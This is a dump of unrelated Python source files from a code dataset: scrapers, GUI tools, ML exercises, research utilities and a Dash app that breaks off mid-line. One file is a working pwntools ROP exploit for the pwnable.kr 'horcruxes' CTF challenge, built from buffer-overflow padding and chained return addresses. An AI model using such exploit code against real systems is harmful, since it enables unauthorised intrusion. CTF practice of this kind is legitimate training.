sorted_candidate_names_counts[:num_res]]\n\n def normalize_and_reformulate(self, query, all_asts=False):\n \"\"\"\n Normalizes and reformulates raw query\n :param query: input string\n :return: list of ASTs as reformulation\n \"\"\"\n normalizer = Normalizer()\n normalized_query = normalizer.process_query(query)\n logging.info(\"Normalized query: %s\" % ' '.join(normalized_query))\n res = self.reformulate(normalized_query, public_only=not all_asts)\n return res\n\n def _public_storage(self):\n return {k: self.storage[k] for k in self.storage if self.storage[k].publicapi}\n","sub_path":"reform/processing/vectorize.py","file_name":"vectorize.py","file_ext":"py","file_size_in_byte":4263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"486716729","text":"#coding=utf-8\nfrom pwn import *\ncontext.log_level = 'debug'\nr = ssh(host='pwnable.kr', user='horcruxes', password='guest', port=2222)\nc = r.connect_remote('localhost', 9032)\n\n# rop 链\n\nA = 0x809fe4b\nB = 0x809fe6a\nC = 0x809fe89\nD = 0x809fea8\nE = 0x809fec7\nF = 0x809fee6\nG = 0x809ff05\nropme = 0x809fffc # 注意这里只能是0x809fffc,也就是main里面 call ropme的地址,因为ropme这个函数所有地址都不能被返回\nc.recvuntil(\"Select Menu:\")\nc.sendline('1')\nc.recvuntil(' : ')\nshellcode=''\n# 0x78个A是因为s的地址是ebp-0x74,返回地址在ebp+4,所以需要填充0x78个A\nshellcode+='A'*0x78+p32(A)+p32(B)+p32(C)+p32(D)+p32(E)+p32(F)+p32(G)+p32(ropme)\nc.sendline(shellcode)\nc.recvline()\nsum = 0\nfor i in range(7):\n s = c.recvline()\n n = int(s.strip('\\n').split('+')[1][:-1])\n sum += n\nc.recvuntil('Menu:')\nc.sendline('1')\nc.recvuntil(' : ')\nc.sendline(str(sum))\nc.recv()\n","sub_path":"kr_pwnable/21_horcruxes/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"331790679","text":"#! python3\n# sandwichMaker.py -> prompts user for their sandwich preferences\n\nimport pyinputplus as pypi\n\nprices = {\"wheat\": 1.00, 'white': 0.50, 'sourdough': 0.75,\n \"chicken\": 2.50, \"turkey\": 2.25, \"ham\": 2.00, \"tofu\": 1.50,\n \"cheddar\": 0.75, \"swiss\": 0.85, \"mozzarella\": 1.00,\n \"condiments\": 1.00\n }\n\nnumSandwich = pypi.inputInt('How many sandwiches would you like? \\n', greaterThan=1)\ntotPrice = 0\n\nfor i in range(1, numSandwich+1):\n print('Please enter your preferences for Sandwich #{}:'.format(i))\n bread = pypi.inputMenu(['wheat', 'white', 'sourdough'])\n protein = pypi.inputMenu(['chicken', 'turkey', 'ham', 'tofu'])\n _cheese = pypi.inputYesNo(\"Would you like cheese?\\n\")\n if _cheese.lower() == 'yes':\n cheese = pypi.inputMenu(['cheddar', 'swiss', 'mozzarella'])\n condiments = pypi.inputYesNo(\"Would you like mayo, mustard, lettuce or tomato?\\n\")\n if condiments.lower() == 'yes':\n condiments = \"condiments\"\n print(\"Total price of Sandwich #{} is ${}\\n\".format(i, round(prices[bread] + prices[protein] + prices[cheese] + prices[condiments], 2)))\n totPrice = prices[bread] + prices[protein] + prices[cheese] + prices[condiments]\n else:\n print(\"Total price of Sandwich #{} is ${}\\n\".format(i, round(prices[bread] + prices[protein] + prices[cheese], 2)))\n totPrice += prices[bread] + prices[protein] + prices[cheese]\n else:\n condiments = pypi.inputYesNo(\"Would you like mayo, mustard, lettuce or tomato?\\n\")\n if condiments.lower() == 'yes':\n condiments = \"condiments\"\n print(\"Total price of Sandwich #{} is ${}\\n\".format(i, round(prices[bread] + prices[protein] + prices[condiments], 2)))\n totPrice = prices[bread] + prices[protein] + prices[condiments]\n else:\n print(\"Total price of Sandwich #{} is ${}\\n\".format(i, round(prices[bread] + prices[protein], 2)))\n totPrice += prices[bread] + prices[protein]\n\nprint(\"Your total is ${} for the {} sandwiches\".format(round(totPrice, 2), numSandwich))\n","sub_path":"input_validation/sandwichMaker.py","file_name":"sandwichMaker.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"305665067","text":"# import helper\n# from helper import is_apple_in, name, say\n# from jinjohn.helper import is_apple_in, name, say\nimport jinjohn\n\na = 20\nb = 20\nc = [1,2,3]\nd = (1,2,3)\n\nprint(a,b,c,d)\n\nif a == 10:\n print(\"a is 10\")\nelif a == 20 and b ==20:\n print(\"a is 20\")\nelif a == 30:\n print(\"a is 30\")\nelse:\n print(\"a is nothing\")\n\nfruits = [\"Orange\", \"Apple\", \"Pineapple\"]\nfor fruit in fruits:\n if fruit == \"Apple\":\n print(\"Yes, I like it\")\n\n# print(helper.is_apple_in(fruits))\n# print(helper.name)\n# print(helper.say())\n\n# print(is_apple_in(fruits))\n# print(name)\n# print(say())\n\nprint(jinjohn.helper.is_apple_in(fruits))","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"146890096","text":"from PyQt5.QtWidgets import QDialog\r\nfrom PyQt5.uic import loadUi\r\nfrom PyQt5.QtWidgets import QApplication, QFileDialog, QMessageBox\r\nfrom tkinter import *\r\nfrom PyQt5 import QtCore, QtGui\r\nfrom PyQt5.QtGui import *\r\nimport cv2 as cv\r\n\r\nname_cascade_built = \"cascade1.xml\"\r\n\r\n\r\nclass ChangeCascade(QDialog):\r\n def __init__(self):\r\n super(ChangeCascade, self).__init__()\r\n loadUi('GuiChangeCascade.ui', self)\r\n\r\n\r\nclass MainWindow(QDialog):\r\n def __init__(self):\r\n super(MainWindow, self).__init__()\r\n self.w = ChangeCascade()\r\n loadUi('GuiMainWindow.ui', self)\r\n\r\n self.uploadImage.clicked.connect(self.browse_folder)\r\n self.changeCascade.clicked.connect(self.open_change_cascade)\r\n\r\n def browse_folder(self):\r\n name_cascade = name_cascade_built\r\n options = QFileDialog.Options()\r\n options |= QFileDialog.DontUseNativeDialog\r\n filename, _ = QFileDialog.getOpenFileName(self, \"Open File\", \"\",\r\n \"Images (*.png *.jpg)\", options=options)\r\n if filename:\r\n self.load_image(filename)\r\n self.erythrocytes.clicked.connect(lambda: self.cv_cascade(self, filename, \"erythrocyte\", name_cascade))\r\n self.thrombocytes.clicked.connect(lambda: self.cv_cascade(self, filename, \"thrombocyte\", name_cascade))\r\n self.monocytes.clicked.connect(lambda: self.cv_cascade(self, filename, \"monocyte\", name_cascade))\r\n self.lymphocytes.clicked.connect(lambda: self.cv_cascade(self, filename, \"lymphocyte\", name_cascade))\r\n self.neutrophils.clicked.connect(lambda: self.cv_cascade(self, filename, \"neutrophil\", name_cascade))\r\n else:\r\n print('Invalid Image')\r\n return filename\r\n\r\n def load_image(self, filename):\r\n pimp = QPixmap(filename)\r\n width = pimp.width()\r\n height = pimp.height()\r\n\r\n while height >= 800:\r\n height = height - 1\r\n\r\n while width >= 800:\r\n width = width - 1\r\n\r\n self.imageLabel.resize(width, height)\r\n pimp2 = QtGui.QImage(pimp).scaled(width, height, QtCore.Qt.KeepAspectRatio)\r\n self.imageLabel.setPixmap(QPixmap(pimp2))\r\n self.imageLabel.setAlignment(QtCore.Qt.AlignHorizontal_Mask)\r\n return pimp2\r\n\r\n @staticmethod\r\n def cv_cascade(self, pic, text, cascade):\r\n blood_cascade = cv.CascadeClassifier(cascade)\r\n pic = str(pic)\r\n image = cv.imread(pic, 0)\r\n object_blood = blood_cascade.detectMultiScale(image, 1.3, 5)\r\n\r\n for (x, y, w, h) in object_blood:\r\n cv.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), 2)\r\n cv.putText(image, text, (x + w, y + h), cv.FONT_HERSHEY_DUPLEX, 0.5, (0, 255, 0), 1, cv.LINE_AA)\r\n cv.putText(image, \"Number of \" + text + \"s\" + \" detected: \" + str(object_blood.shape[0]),\r\n (0, image.shape[0] - 10),\r\n cv.FONT_HERSHEY_DUPLEX, 1, (0, 0, 0), 1)\r\n self.imageLabel2.setPixmap(QPixmap(cv.imshow('img', image)))\r\n\r\n def open_change_cascade(self):\r\n self.w.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n window = MainWindow()\r\n window.setWindowTitle('Segmentation')\r\n window.show()\r\n sys.exit(app.exec())\r\n","sub_path":"Python_Code/PyCharm_002/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"228824847","text":"from lxml import html\nimport re\nimport requests\n\nfrom containers import Movie, TV_Show, Episode, Source\n\n\nclass Scraper:\n\tdef __init__(self):\n\t\treturn\n\n\t#Find all of the sources for the requested video id (movie or tv episode)\n\tdef scrape_sources(self, video_id):\n\t\ttree = self.get_tree_from_URL(\"http://www.icefilms.info/membersonly/components/com_iceplayer/video.php?vid=\"+video_id)\n\t\t\n\t\trip_divs = tree.xpath('//div[@class=\"ripdiv\"]') #Get the overall divs\n\n\t\tsources = []\n\t\tfor div in rip_divs:\n\t\t\ttemp = html.tostring(div) #Shouldn't have to do this, but couldn't find a way around\n\t\t\ttree = html.fromstring(temp)\n\n\t\t\tdefinition = tree.xpath('//b')[0].text\n\n\t\t\tsrc_ids = tree.xpath('//a/@onclick')\n\t\t\tsites = tree.xpath('//a[@onclick]/span/text()[1]')\n\n\t\t\ti = 0\n\t\t\tfor src_id in src_ids:\n\t\t\t\tsources.append(Source(src_id[3:-1], sites[i], definition, video_id))\n\t\t\t\ti += 1\n\n\t\treturn sources\n\n\tdef scrape_movie(self, movie_id):\n\t\ttree = get_tree_from_URL(\"http://www.icefilms.info/ip.php?v=\"+movie_id)\n\n\t\ttitle = tree.xpath('//*[@id=\"videotitle\"]/b/span[text()]')\n\t\ttitle = title.pop()\n\n\t\ttitle = title.text.encode('utf-8')\n\t\tyear = re.search('\\(\\d*\\)', title).group(0).strip('()')\n\t\ttitle = title[:-7]\n\n\t\timdb = tree.xpath('//*[@id=\"info\"]/tr[1]/td/b/text()')\n\t\timdb = imdb.pop()\n\n\t\tself.scrape_sources(movie_id)\n\n\tdef scrape_movies(self, letter):\n\t\ttree = self.get_tree_from_URL(\"http://www.icefilms.info/movies/a-z/\"+letter.upper())\n\n\t\tmovie_list = tree.xpath('//span[@class=\"list\"]/a[text()]')\n\n\t\tmovies = []\n\t\tfor movie in movie_list:\n\t\t\tmovie_items = movie.items()\n\t\t\tmovie_items = movie_items.pop()\n\n\t\t\ttitle = movie.text_content().encode('utf-8')\n\t\t\tyear = re.search('\\(\\d*\\)', title).group(0).strip('()')\n\t\t\ttitle = title[:-7]\n\t\t\tmovie_id = movie_items[1]\n\t\t\tmovie_id = movie_id[10:-1]\n\t\t\tmovies.append(Movie(movie_id, year, title))\n\n\t\treturn movies\n\n\tdef scrape_episodes(self, show_id):\n\t\ttree = self.get_tree_from_URL(\"http://www.icefilms.info/tv/series/\"+show_id)\n\n\t\tepisode_list = tree.xpath('//span[@class=\"list\"]/a[@href]/text()')\n\t\tlinks = tree.xpath('//span[@class=\"list\"]/a/@href')\n\n\t\tepisodes = []\n\t\tfor i in range(0, len(episode_list)):\n\t\t\tlink = links[i]\n\t\t\tnumber = episode_list[i].split()[0]\n\t\t\ttitle = episode_list[i].split()[1:]\n\t\t\ttitle = \" \".join(title)\n\t\t\tepisodes.append(Episode(link[10:-1], number, title, show_id))\n\n\t\treturn episodes\n\n\tdef scrape_tv_shows(self, letter):\n\t\ttree = self.get_tree_from_URL(\"http://www.icefilms.info/tv/a-z/\"+letter.upper())\n\n\t\ttv_show_list = tree.xpath('//span[@class=\"list\"]/a[text()]')\n\t\tepisodes = tree.xpath('//span[@class=\"list\"]/a[text()]/following-sibling::text()')\n\n\t\ttv_shows = []\n\t\ti = 0\n\t\tfor tv_show in tv_show_list:\n\t\t\ttv_show_items = tv_show.items()\n\t\t\ttv_show_items = tv_show_items.pop()\n\n\t\t\ttitle = tv_show.text_content().encode('utf-8')\n\t\t\t#year = re.search('\\(\\d*\\)', title).group(0).strip('()')\n\t\t\t#year = year.strip()\n\t\t\tyear = \"????\"\n\t\t\ttitle = title[:-7].strip()\n\t\t\tshow_id = tv_show_items[1]\n\t\t\tshow_id = show_id[11:].strip()\n\t\t\tnum_episodes = episodes[i]\n\t\t\tnum_episodes = num_episodes[:-8].strip()\n\t\t\ti = i+1\n\t\t\ttv_shows.append(TV_Show(show_id, year, num_episodes, title))\n\n\t\treturn tv_shows\n\n\tdef get_tree_from_URL(self, url):\n\t\tpage = requests.get(url)\n\t\treturn html.fromstring(page.text)\n\n\t#Add junk about stuff\n\tdef find_tv_show(self, title):\n\t\tquery = title[0]\n\t\tif title.startswith(\"the \"):\n\t\t\tquery = title[4]\n\n\t\tquery_results = self.scrape_tv_shows(query)\n\t\thits = []\n\t\tfor result in query_results:\n\t\t\tif title in result.title.lower():\n\t\t\t\thits.append(result)\n\n\t\treturn hits\n\n\tdef find_movie(self, title):\n\t\tquery = title[0]\n\t\tif title.startswith(\"the \"):\n\t\t\tquery = title[4]\n\n\t\tquery_results = self.scrape_movies(query)\n\t\thits = []\n\t\tfor result in query_results:\n\t\t\tif title in result.title.lower():\n\t\t\t\thits.append(result)\n\n\t\treturn hits\n","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"463921514","text":"#IMPORTING LIBRARIES\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy.io import loadmat\nfrom sklearn.svm import SVC\n\n#LOADING DATA\nmat=loadmat(\"ex6data2.mat\")\nX=mat[\"X\"]\ny=mat[\"y\"]\n\n#PLOTTING DATA\nm,n = X.shape[0],X.shape[1]\npos,neg = (y==1).reshape(m,1),(y==0).reshape(m,1)\nplt.scatter(X[pos[:,0],0],X[pos[:,0],1],c=\"r\",marker=\"+\",s=50)\nplt.scatter(X[neg[:,0],0],X[neg[:,0],1],c=\"b\",marker=\"o\",s=50)\nplt.xlim(0,1)\nplt.ylim(0.4,1)\nplt.show()\n\n#PLOTTING DECISION BOUNDARY\nclassifier=SVC(kernel=\"rbf\",gamma=30)\nclassifier.fit(X,y.ravel())\nplt.figure(figsize=(8,6))\nplt.scatter(X[pos[:,0],0],X[pos[:,0],1],c=\"r\",marker=\"+\")\nplt.scatter(X[neg[:,0],0],X[neg[:,0],1],c=\"b\",marker=\"o\")\nX_1,X_2 = np.meshgrid(np.linspace(X[:,0].min(),X[:,1].max(),num=100),np.linspace(X[:,1].min(),X[:,1].max(),num=100))\nplt.contour(X_1,X_2,classifier.predict(np.array([X_1.ravel(),X_2.ravel()]).T).reshape(X_1.shape),1,colors=\"g\")\nplt.xlim(0,1)\nplt.ylim(0.4,1)\nplt.show()\n","sub_path":"SVM2.py","file_name":"SVM2.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"230089796","text":"\"\"\"\n\"\"\"\n\nimport sys\n\ndef eggDropRec(flr, eggs):\n \n if flr == 0 or flr == 1:\n return flr\n \n if eggs == 1:\n return flr\n \n \n res = sys.maxint\n minval = sys.maxint\n for i in xrange(1, flr+1):\n res = max(eggDropRec(i - 1, eggs - 1), eggDropRec(flr - i, eggs))\n #( egg breaks and below floor or egg dont break check upper flr . return max (worst case)\n minval = min(res, minval)\n \n return minval+1\n\nif __name__ == \"__main__\":\n eggs = 2\n flr = 10\n print(eggDropRec(flr, eggs))\n \n \n ","sub_path":"Dynamic Programming/eggDrop.py","file_name":"eggDrop.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"12631436","text":"from pattern.circuit import Control\nimport re\n\nclass entry(Control):\n\n MULTIPART = re.compile('Content-Disposition: form-data; name=\"(.*)\"\\r\\n([^\\0]*)', re.MULTILINE)\n\n def incoming(self, event):\n ct = event.trail.headers[\"content-type\"]\n cl = int(event.trail.headers[\"content-length\"])\n request = event.trail.rfile.read(cl)\n bridge = self.acquireInterface(event, \"request\")\n if bridge is not None:\n if ct.startswith(\"multipart/form-data\"):\n self.multipart(request, bridge)\n else:\n self.singlepart(request, bridge)\n # Send OK\n bridge = self.acquireInterface(event, \"page\")\n if bridge is not None:\n bridge.push()\n else:\n self._sendOK(event)\n \n def _sendOK(self, event):\n page = \"OK\"\n event.trail.send_response(200)\n event.trail.send_header(\"Content-type\", \"text/plain\")\n event.trail.send_header(\"Content-Length\", str(len(page)))\n event.trail.end_headers()\n event.trail.wfile.write(page)\n \n def multipart(self, request, bridge):\n delimiter = request.split(\"\\r\\n\",1)[0] #@@@\n for part in request.split(delimiter):\n mo = self.MULTIPART.match(part.strip())\n if mo:\n name = mo.group(1)\n value = mo.group(2)\n bridge.push(name + \"=\" + value)\n \n def singlepart(self, request, bridge):\n bridge.push(request)\n","sub_path":"tmp/http_parserequest.py","file_name":"http_parserequest.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"604369097","text":"\nimport pytz\nimport datetime\nfrom pytz import timezone\nutc = pytz.utc\ntzinfo = timezone('Europe/Berlin')\n\ndef parse_date(s, tzinfo = utc):\n \"\"\"parse dates like 20121219T160000Z\"\"\"\n year = int(s[0:4])\n month = int(s[4:6])\n day = int(s[6:8])\n hour = int(s[9:11])\n minute = int(s[11:13])\n second = int(s[13:15])\n return datetime.datetime(year, month, day, hour, minute, second, 0, tzinfo)\n","sub_path":"pyallris/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"461230918","text":"from __future__ import unicode_literals\nimport functools\nimport io\nimport locale\nimport os\nimport random\nimport shutil\nimport string\nimport subprocess\nimport sys\nimport tempfile\nfrom pkg_resources import get_distribution\n\nfrom dallinger.config import get_config\n\n\ndef get_base_url():\n config = get_config()\n host = os.getenv(\"HOST\", config.get(\"host\"))\n if \"herokuapp.com\" in host:\n if host.startswith(\"https://\"):\n base_url = host\n elif host.startswith(\"http://\"):\n base_url = host.replace(\"http://\", \"https://\")\n else:\n base_url = \"https://{}\".format(host)\n else:\n # debug mode\n base_port = config.get(\"base_port\")\n port = random.randrange(base_port, base_port + config.get(\"num_dynos_web\"))\n base_url = \"http://{}:{}\".format(host, port)\n\n return base_url\n\n\ndef dallinger_package_path():\n \"\"\"Return the absolute path of the root directory of the installed\n Dallinger package:\n\n >>> utils.dallinger_package_location()\n '/Users/janedoe/projects/Dallinger3/dallinger'\n \"\"\"\n dist = get_distribution(\"dallinger\")\n src_base = os.path.join(dist.location, dist.project_name)\n\n return src_base\n\n\ndef generate_random_id(size=6, chars=string.ascii_uppercase + string.digits):\n \"\"\"Generate random id numbers.\"\"\"\n return \"\".join(random.choice(chars) for x in range(size))\n\n\ndef ensure_directory(path):\n \"\"\"Create a matching path if it does not already exist\"\"\"\n if not os.path.exists(path):\n os.makedirs(path)\n\n\ndef run_command(cmd, out, ignore_errors=False):\n \"\"\"We want to both send subprocess output to stdout or another file\n descriptor as the subprocess runs, *and* capture the actual exception\n message on errors. CalledProcessErrors do not reliably contain the\n underlying exception in either the 'message' or 'out' attributes, so\n we tee the stderr to a temporary file and if a CalledProcessError is\n raised we read its contents to recover stderr\n \"\"\"\n tempdir = tempfile.mkdtemp()\n output_file = os.path.join(tempdir, \"stderr\")\n original_cmd = \" \".join(cmd)\n p = subprocess.Popen(cmd, stdout=out, stderr=subprocess.PIPE)\n t = subprocess.Popen([\"tee\", output_file], stdin=p.stderr, stdout=out)\n t.wait()\n p.communicate()\n p.stderr.close()\n if p.returncode != 0 and not ignore_errors:\n with open(output_file, \"r\") as output:\n error = output.read()\n message = 'Command: \"{}\": Error: \"{}\"'.format(\n original_cmd, error.replace(\"\\n\", \"\")\n )\n shutil.rmtree(tempdir, ignore_errors=True)\n raise CommandError(message)\n\n shutil.rmtree(tempdir, ignore_errors=True)\n return p.returncode\n\n\nclass CommandError(Exception):\n \"\"\"Something went wrong executing a subprocess command\"\"\"\n\n\nclass GitError(Exception):\n \"\"\"Something went wrong calling a Git command\"\"\"\n\n\nclass GitClient(object):\n \"\"\"Minimal wrapper, mostly for mocking\"\"\"\n\n def __init__(self, output=None):\n self.encoding = None\n if output is None:\n self.out = sys.stdout\n else:\n self.out = output\n\n def init(self, config=None):\n self._run([\"git\", \"init\"])\n if config is not None:\n for k, v in config.items():\n self._run([\"git\", \"config\", k, v])\n\n def add(self, what):\n self._run([\"git\", \"add\", what])\n\n def commit(self, msg):\n self._run([\"git\", \"commit\", \"-m\", '\"{}\"'.format(msg)])\n\n def push(self, remote, branch):\n cmd = [\"git\", \"push\", remote, branch]\n self._run(cmd)\n\n def clone(self, repository):\n tempdir = tempfile.mkdtemp()\n cmd = [\"git\", \"clone\", repository, tempdir]\n self._run(cmd)\n return tempdir\n\n def files(self):\n cmd = [\"git\", \"ls-files\", \"-z\", \"--cached\", \"--others\", \"--exclude-standard\"]\n try:\n raw = check_output(cmd).decode(locale.getpreferredencoding())\n except Exception:\n return set()\n\n result = {item for item in raw.split(\"\\0\") if item}\n return result\n\n def _run(self, cmd):\n self._log(cmd)\n try:\n run_command(cmd, self.out)\n except CommandError as e:\n raise GitError(str(e))\n\n def _log(self, cmd):\n msg = '{}: \"{}\"'.format(self.__class__.__name__, \" \".join(cmd))\n if self.encoding:\n msg = msg.encode(self.encoding)\n self.out.write(msg)\n\n\nclass ParticipationTime(object):\n\n grace_period_seconds = 120\n\n def __init__(self, participant, reference_time, config):\n self.participant = participant\n self.when = reference_time\n self.allowed_hours = config.get(\"duration\")\n self.app_id = config.get(\"app_id\", \"unknown\")\n\n @property\n def assignment_id(self):\n return self.participant.assignment_id\n\n @property\n def allowed_minutes(self):\n return self.allowed_hours * 60\n\n @property\n def allowed_seconds(self):\n return self.allowed_hours * 60.0 * 60.0\n\n @property\n def active_seconds(self):\n delta = self.when - self.participant.creation_time\n return delta.total_seconds()\n\n @property\n def active_minutes(self):\n return self.active_seconds / 60\n\n @property\n def excess_minutes(self):\n return (self.active_seconds - self.allowed_seconds) / 60\n\n @property\n def is_overdue(self):\n total_allowed_seconds = self.allowed_seconds + self.grace_period_seconds\n return self.active_seconds > total_allowed_seconds\n\n\ndef wrap_subprocess_call(func, wrap_stdout=True):\n @functools.wraps(func)\n def wrapper(*popenargs, **kwargs):\n out = kwargs.get(\"stdout\", None)\n err = kwargs.get(\"stderr\", None)\n replay_out = False\n replay_err = False\n if out is None and wrap_stdout:\n try:\n sys.stdout.fileno()\n except io.UnsupportedOperation:\n kwargs[\"stdout\"] = tempfile.NamedTemporaryFile()\n replay_out = True\n if err is None:\n try:\n sys.stderr.fileno()\n except io.UnsupportedOperation:\n kwargs[\"stderr\"] = tempfile.NamedTemporaryFile()\n replay_err = True\n try:\n return func(*popenargs, **kwargs)\n finally:\n if replay_out:\n kwargs[\"stdout\"].seek(0)\n sys.stdout.write(kwargs[\"stdout\"].read())\n if replay_err:\n kwargs[\"stderr\"].seek(0)\n sys.stderr.write(kwargs[\"stderr\"].read())\n\n return wrapper\n\n\ncheck_call = wrap_subprocess_call(subprocess.check_call)\ncall = wrap_subprocess_call(subprocess.call)\ncheck_output = wrap_subprocess_call(subprocess.check_output, wrap_stdout=False)\n","sub_path":"dallinger/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"444257753","text":"f = open (\"scores.txt\", \"r\")\r\n\r\nusers = {}\r\n\r\nfor line in f:\r\n entry = line.strip().split(\",\")\r\n user = entry[0]\r\n score = entry[1]\r\n users[user] = score\r\n print(user + \": \" + score)\r\n\r\n\t\r\nf.close()\r\n\r\nprint(users)\r\n\r\n ","sub_path":"reading.py","file_name":"reading.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"594870001","text":"from app import apfell, dbloop, apfell_db, db_objects, use_ssl, listen_port, listen_ip, ssl_cert_path, ssl_key_path\r\nimport asyncio\r\nimport ssl\r\n\r\nif __name__ == \"__main__\":\r\n asyncio.set_event_loop(dbloop)\r\n if use_ssl:\r\n context = ssl.create_default_context(purpose=ssl.Purpose.CLIENT_AUTH)\r\n context.load_cert_chain(ssl_cert_path, keyfile=ssl_key_path)\r\n server = apfell.create_server(host=listen_ip, port=listen_port, ssl=context)\r\n else:\r\n server = apfell.create_server(host=listen_ip, port=listen_port)\r\n loop = asyncio.get_event_loop()\r\n task = asyncio.ensure_future(server)\r\n db_objects.database.allow_sync = True # raise AssertionError on ANY sync call, needs to be worked out though\r\n try:\r\n loop.run_until_complete(apfell_db.connect_async(loop=dbloop))\r\n loop.run_forever()\r\n except:\r\n loop.stop()\r\n\r\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"135025167","text":"import unittest\n\nfrom src.guest import Guest\nfrom src.song import Song\nfrom src.room import Room\n\n\nclass TestGuest(unittest.TestCase):\n\n def setUp(self):\n self.song_1 = Song(\"Ice Ice Baby\", \"Vanilla Ice\")\n self.song_2 = Song(\"Greatest Day\", \"Take That\")\n self.song_3 = Song(\"Especially for You\", \"Kylie and Jason\")\n\n self.songs = [self.song_1, self.song_2, self.song_3]\n\n song = Song(\"Ice, Ice, Baby\", \"Vanilla Ice\")\n self.guest = Guest(\"Nevan\", song)\n \n def test_guest_has_name(self):\n self.assertEqual(\"Nevan\", self.guest.name)\n \n def test_guest_has_favourite_song(self):\n self.assertEqual(\"Ice, Ice, Baby\", self.guest.favourite_song.title)\n \n \n \n","sub_path":"tests/guest_test.py","file_name":"guest_test.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"299397038","text":"from flask import request, url_for, redirect, render_template\nfrom flask import Blueprint\n\nnotes_api = Blueprint('notes_api', __name__)\n\nfrom models import Note\n\n@notes_api.route(\"/notes/create\", methods=[\"GET\", \"POST\"])\ndef create_note():\n if request.method == \"GET\":\n return render_template((\"notes/create_note.html\"))\n else:\n title = request.form[\"title\"]\n body = request.form[\"body\"]\n note = Note(title=title, body=body)\n note.save()\n return redirect(url_for(\".create_note\"))\n\n@notes_api.route(\"/notes\", methods=[\"GET\"])\ndef notes():\n notes = Note.objects\n return render_template(\"notes/notes.html\", notes=notes)","sub_path":"controllers/notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"262264407","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\nimport base64\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport io\nimport random\nimport time\nimport os\nimport json\nimport sys\nimport torch\nimport re\n\nsys.path.insert(0, \"../mcn\")\nimport torchvision.transforms as transforms\nfrom model import CompatModel\nfrom utils import prepare_dataloaders\nfrom PIL import Image\n\ntrain_dataset, _, _, _, test_dataset, _ = prepare_dataloaders(num_workers=1)\n# Load pretrained weights\ndevice = torch.device('cpu')\n# print(len(.vocabulary)) # 2757\nmodel = CompatModel(embed_size=1000, need_rep=True, vocabulary=2757).to(device)\nmodel.load_state_dict(torch.load(\"../mcn/model_train_relation_vse_type_cond_scales.pth\", map_location=\"cpu\"))\nmodel.eval()\nfor name, param in model.named_parameters():\n if 'fc' not in name:\n param.requires_grad = False\n\ndef defect_detect(img, model, normalize=True):\n # Register hook for comparison matrix\n relation = None\n\n def func_r(module, grad_in, grad_out):\n nonlocal relation\n relation = grad_in[1].detach()\n\n for name, module in model.named_modules():\n if name == 'predictor.0':\n module.register_backward_hook(func_r)\n # Forward\n out = model._compute_score(img)\n out = out[0]\n\n # Backward\n one_hot = torch.FloatTensor([[-1]]).to(device)\n model.zero_grad()\n out.backward(gradient=one_hot, retain_graph=True)\n\n if normalize:\n relation = relation / (relation.max() - relation.min())\n relation += 1e-3\n return relation, out.item()\n\ndef item_diagnosis(relation, select):\n \"\"\" Output the most incompatible item in the outfit\n \n Return:\n result (list): Diagnosis value of each item \n order (list): The indices of items ordered by its importance\n \"\"\"\n mats = vec2mat(relation, select)\n for m in mats:\n mask = torch.eye(*m.shape).byte()\n m.masked_fill_(mask, 0)\n result = torch.cat(mats).sum(dim=0)\n order = [i for i, j in sorted(enumerate(result), key=lambda x:x[1], reverse=True)]\n return result, order\n\ndef vec2mat(relation, select):\n \"\"\" Convert relation vector to 4 matrix, which is corresponding to 4 layers\n in the backend CNN.\n \n Args:\n relation: (np.array | torch.tensor) of shpae (60,)\n select: List of select item indices, e.g. (0, 2, 3) means select 3 items\n in total 5 items in the outfit.\n \n Return:\n mats: List of matrix\n \"\"\"\n mats = []\n for idx in range(4):\n mat = torch.zeros(5, 5)\n mat[np.triu_indices(5)] = relation[15*idx:15*(idx+1)]\n mat += torch.triu(mat, 1).transpose(0, 1)\n mat = mat[select, :]\n mat = mat[:, select]\n mats.append(mat)\n return mats\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\nroot = 